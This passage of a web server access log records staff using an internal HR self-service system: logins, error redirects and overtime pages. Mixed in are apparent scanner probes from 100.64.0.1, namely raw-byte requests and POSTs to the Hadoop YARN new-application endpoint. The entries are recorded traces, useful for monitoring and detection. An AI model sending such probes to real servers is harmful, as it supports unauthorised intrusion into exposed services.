/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [04/Dec/2025:13:12:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:13:12:20 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [04/Dec/2025:13:12:20 +0800] "\x03" 501 203 192.168.139.16 - - [04/Dec/2025:13:26:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:13:26:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:13:26:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:13:26:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:13:26:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [04/Dec/2025:13:26:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:13:26:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 100.64.0.1 - - [04/Dec/2025:13:33:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:13:33:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:13:38:44 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:13:38:44 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [04/Dec/2025:13:49:17 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:13:49:17 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:13:49:17 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:13:49:17 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:14:03:04 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [04/Dec/2025:14:03:04 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.11.125 - - [04/Dec/2025:14:06:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:06:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [04/Dec/2025:14:06:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:06:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [04/Dec/2025:14:07:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [04/Dec/2025:14:07:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [04/Dec/2025:14:07:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.125 - - [04/Dec/2025:14:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 9603 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 9603 192.168.11.125 - - [04/Dec/2025:14:07:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44875 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44875 192.168.11.125 - - [04/Dec/2025:14:07:23 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.125 - - [04/Dec/2025:14:07:23 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:23 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.125 - - [04/Dec/2025:14:07:23 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 192.168.11.125 - - [04/Dec/2025:14:07:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44879 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44879 192.168.11.125 - - [04/Dec/2025:14:07:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44679 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:14:07:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44679 100.64.0.1 - - [04/Dec/2025:14:26:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux 